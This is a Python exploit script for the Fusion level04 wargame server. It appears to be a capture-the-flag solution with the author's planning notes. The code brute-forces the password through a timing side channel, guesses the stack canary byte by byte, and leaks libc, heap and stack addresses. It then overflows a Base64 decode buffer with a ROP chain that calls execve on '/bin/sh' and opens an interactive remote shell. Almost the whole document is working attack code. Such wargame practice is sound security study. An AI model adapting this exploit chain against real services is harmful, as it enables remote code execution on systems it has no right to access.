PORT = 20004
FUSION_IP = "192.168.180.128"
import socket
import string
import telnetlib
import struct
import time
import select
import hmac
import threading

from collections import OrderedDict
q = lambda x: struct.pack('<I', x)

### ATTACK IDEA
### 1. BF OVER PASSWORD USING TIMING ATTACK V
### todo: find infomration leakage vulnerability
### 2. LEAK STACK CANARY v
### 3. LEAK LIBC v
### 4. LEAK HEAP v
### 5. LEAK MODULE addr v
### use ROP to call libc.execve() with our params
### 6. use Base64 decode vulnerability (output length is set to be input_length / 4 * 3 ) while buffer is 2048 bytes long and input data is in our control! V
### 		after leaking stack canary and exploit the vuln we control EIP. 


### vulns:
	### Base64decode let's us exceed the 2048 buffer length :)
	###  they set *output_length = input_length / 4 * 3;
	### although it points to a 2048 sized buffer.
	### we need to start with the correct bypass to get to the return...

### XXX strencode
	### takes not alpha charactes and switch them to %xx format.
	### makes strings larger *3

	### can't take advantage of that since sizes are being checked
	### + inorder to get to the function need to be a valid dir
	### meaning going at least one dir on the system
	### couldn't find a way to do that since .. is being checked!

### LEAKAGE IDEAs:
	### 1. blind -> using not BASE64CHARS and counting time...
	### if I get lucky I will be able to know a several bytes from uninitiallize heap data...
	### since I have 256 bytes which 64 of them are allocated... so 192 uninitiallized bytes...
	### each of them can be compared to a byte from the password I've got 16 of them... 
	### 15 unique on avarage... 
	### the chance of a colission between 192 (7.584) to 15 (3.9068) is ~ log(192, 2) + log(15, 2) - log(256, 2) => 3.491853096329674 ~ 3.5 bytes!

	### This IDEA is rather stupid and not good enough...
	### Leakage is by timing attack :(

	### 2. Better IDEA:
	### trying guessing the stack cookie byte by byte :)
	### since this is a fork server it doesn't changes ...
	### I don't crash the server since it is being forked :)


	### 3. Best IDEA:
	### getting the stack smashing detected message fully
	### it contains libc addr + heap + stack + binary :)
	### we need to fail at stack cookie and not crash afterwards :)
	### being able to create a stable crash :)





TIMES = {999: '!'}
THREADS = []

def try_password(password, times = 1):

	total_time = 0
	for i in xrange(times):
		s = socket.socket()
		s.connect((FUSION_IP, PORT))
		HTTP_DATA = """\
		GET / HTTP/1.1
		Authorization: Basic {base64}

		""".format(base64=("{password}".format(password=password)).encode('base64')).replace('\t','')

		#print repr(HTTP_DATA)
		s.send(HTTP_DATA)
		t = time.clock()
		calc_time = 999
		#if select.select([s], [], [], 1)[0]:
		data = s.recv(4096)
		total_time += time.clock() - t
		if total_time > min(TIMES):
			total_time = 999
			break

	TIMES[total_time] = password
	return total_time

def bf_password():
	global TIMES
	strip = string.lowercase + string.uppercase + string.digits
	guessed_passwd = ''

	for x in xrange(16):
		for a in strip:
			try_password(guessed_passwd + a, 1)

		best_char = TIMES[min(TIMES.keys())]
		guessed_passwd = best_char
		TIMES = {999: '!'}
		print guessed_passwd

	return guessed_passwd

def try_cookie(password, cookie):

	password = password.encode('base64').replace('\n','').replace('=','h')
	x = ("A" * 2030 + cookie).encode('base64').replace('\n','')

	password += x
	y = password.decode('base64')
	z = password # y.encode('base64').replace('\n','')

	#print len(password), len(password) % 4

	s = socket.socket()
	s.connect((FUSION_IP, PORT))
	HTTP_DATA = "GET / HTTP/1.1\nAuthorization: Basic {base64}\n\n""".format(filename='\x01' * 9000, base64=("{password}".format(password=z)).replace('\t',''))
	s.send(HTTP_DATA)

	try:

		d = s.recv(4096)
		d += s.recv(4096)
		if "smash" not in d:
			return True
		if "smash" in d:
			return False

	except Exception as e:
		print cookie.encode('hex')
		raise
		return False
	s.close()

def leak_all(password):
	password = password.encode('base64').replace('\n','').replace('=','h')
	x = ("A" * 2034).encode('base64').replace('\n','')

	password += x
	y = password.decode('base64')
	z = password # y.encode('base64').replace('\n','')

	s = socket.socket()
	s.connect((FUSION_IP, PORT))
	HTTP_DATA = "GET / HTTP/1.1\nAuthorization: Basic {base64}\n\n""".format(filename='\x01' * 9000, base64=("{password}".format(password=z)).replace('\t',''))
		#print HTTP_DATA.encode('hex')
	s.send(HTTP_DATA)
	d = s.recv(4096)
	while len(d) < 1700 and select.select([s],[],[],0.1)[0]: #time.sleep(0.05) # to make sure we are getting all addresses!
			d += s.recv(4096)

	#print d
	libc_offset = d[202:210] #d[d.index("0xb77af887"):][:len("0xb77af887")] -> libc.so.6+0xe7887
	main_module_offset = d[247:255] # d[d.index("0xb7873dd1"):][:len("0xb7873dd1")] -> /opt/fusion/bin/level04+0x2dd1
	heap_offset = d[1595:1595+8]
	stack_offset = d[1651:1651+8]
	return map(lambda x: x.decode('hex'), [libc_offset, main_module_offset, heap_offset, stack_offset])

def bf_stack_cookie(password):

	guessed_stack_cookie = ""
	while len(guessed_stack_cookie) != 4:
		flag = False
		for i in xrange(256):
			if try_cookie(password, guessed_stack_cookie + chr(i)):
				guessed_stack_cookie += chr(i)
				print i,
				flag = True
				break

		if not flag:
			print "error on bruteforce"
			return False

	print "Found cookie!"
	return guessed_stack_cookie
#exit(-1)


EXECV_OFFSET     = 0xb7763a80 - 0xb77af887
OUR_STR_OFFSET   = 0xbfd3bb9e - 0xbfd31000
OUR_STR_OFFSET2  = 0xbfc64c62 - 0xbfc58000 -2020
FGETS_OFFSET     = 0xb777e760 - 0xb7807887
ALARM_OFFSET     = 0xb77bb210 - 0xb7807887
MEMCPY_OFFSET    = 0xb7623a60 - 0xb7693887
STRNCPY_OFFSET   = 0xb7622580 - 0xb7693887

def full_exploit(password, cookie, libc, stack, main_module_offset):
	ret_addr2 = "CCCC"

	EXECV  = q(EXECV_OFFSET + libc)
	MEMCPY = q(MEMCPY_OFFSET + libc)
	ALARM = q(ALARM_OFFSET + libc)
	FGETS = q(FGETS_OFFSET + libc)
	STRNCPY = q(STRNCPY_OFFSET + libc)

	BIN_SH_OFFSET = q(OUR_STR_OFFSET2 + stack)
	NULL_OFFSET = q(OUR_STR_OFFSET + stack + 8)
	print "bin_sh_offset =", BIN_SH_OFFSET[::-1].encode('hex')

	POP_POP_POP_POP_RET = 0xb77572b5 - 0xb7757dd1 + main_module_offset
	POP_POP_POP_RET = POP_POP_POP_POP_RET + 1
	POP_POP_RET = POP_POP_POP_RET + 1
	POP_RET = POP_POP_RET + 1
	print "POP_POP_POP_POP_RET", hex(POP_POP_POP_POP_RET)
	#BIN_SH_OFFSET_PTR = q(OUR_STR_PTR_OFFSET + stack)


	# locating /bin/sh in the binary main module

	slash = 0xb7757f04 - 0xb7757dd1 + main_module_offset
	b = 0xb7757e7b - 0xb7757dd1 + main_module_offset
	i = 0xb7757eca - 0xb7757dd1 + main_module_offset
	n = 0xb7757e9a - 0xb7757dd1 + main_module_offset
	s = 0xb7757e52 - 0xb7757dd1 + main_module_offset
	h = 0xb7757eb8 - 0xb7757dd1 + main_module_offset
	null = 0xb7757ec1 - 0xb7757dd1 + main_module_offset

	#EXECV = "CCCC"
	#print "EXECV", len(EXECV) #.encode('hex')
	password = password.encode('base64').replace('\n','').replace('=','h')
	#x = ("/bin/sh\0\0\0" + "/" * 2020 + cookie + "B" * 28 + EXECV + NULL_OFFSET + BIN_SH_OFFSET + "\0" * 4).encode('base64').replace('\n','')
	#x = ("/bin/sh\0\0\0" + "/" * 2020 + cookie + "B" * 28 + ALARM + q(POP_RET) + q(0) + EXECV + NULL_OFFSET + BIN_SH_OFFSET + "\0" * 4).encode('base64').replace('\n','')
	exploit = "A" * 2030 + cookie + "B" * 28
	exploit += ALARM +  q(POP_RET) + q(0)
	exploit += STRNCPY + q(POP_POP_POP_RET) + q(stack) + q(slash) + q(1)
	exploit += STRNCPY + q(POP_POP_POP_RET) + q(stack+1) + q(b) + q(1)
	exploit += STRNCPY + q(POP_POP_POP_RET) + q(stack+2) + q(i) + q(1)
	exploit += STRNCPY + q(POP_POP_POP_RET) + q(stack+3) + q(n) + q(1)
	exploit += STRNCPY + q(POP_POP_POP_RET) + q(stack+4) + q(slash) + q(1)
	exploit += STRNCPY + q(POP_POP_POP_RET) + q(stack+5) + q(s) + q(1)
	exploit += STRNCPY + q(POP_POP_POP_RET) + q(stack+6) + q(h) + q(1)
	exploit += STRNCPY + q(POP_POP_POP_RET) + q(stack+7) + q(null) + q(1)
	exploit += EXECV + q(0) + q(stack) + q(0)


	x = exploit.encode('base64').replace('\n','')
	#x = ("/" * 2020 + "/bin/sh\0\0\0" + cookie + "B" * 28 + FGETS + "CCCC" + q(stack + 1000) + q(8) + q(0)).encode('base64').replace('\n','')
	password += x

	#print len(password), len(password) % 4

	s = socket.socket()
	s.connect((FUSION_IP, PORT))
	HTTP_DATA = "GET / HTTP/1.1\nAuthorization: Basic {base64}\n\n""".format(filename='\x01' * 9000, base64=("{password}".format(password=password)).replace('\t',''))
	s.send(HTTP_DATA)

	t = telnetlib.Telnet()
	t.sock = s
	t.interact()
	#d = ""
	#if select.select([s],[],[],0.1)[0]:
	#	d = s.recv(4096)
	#while len(d) < 1700 and select.select([s],[],[],0.1)[0]: #time.sleep(0.05) # to make sure we are getting all addresses!
	#		d += s.recv(4096)
	#d += s.recv(4096)

	#s.close()

if __name__ == "__main__":

	flag = not True

	if flag:
		print "bruteforcing password...."
		password = bf_password()
		print "bruteforcing cookie...."
		stack_cookie = bf_stack_cookie(password)
		print "leaking all data..."
		offsets =  map(lambda x: int(x.encode('hex'), 16), leak_all(password))
	else:
		password = "ROuT30o3opB55IFL"
		stack_cookie = ''.join(map(chr, [0, 199, 95, 236]))
		offsets = [0xb7693887, 0xb7757dd1, 0xb9734000, 0xbf893000]

	libc_offset, main_module_offset, heap_offset, stack_offset = offsets

	print "libc", hex(libc_offset) #.encode("hex")
	print "stack", hex(stack_offset)
	print "heap", hex(heap_offset)
	print "main_module", hex(main_module_offset)
	print "getting a shell!"
	time.sleep(1)

	full_exploit(password, stack_cookie, libc_offset, stack_offset, main_module_offset)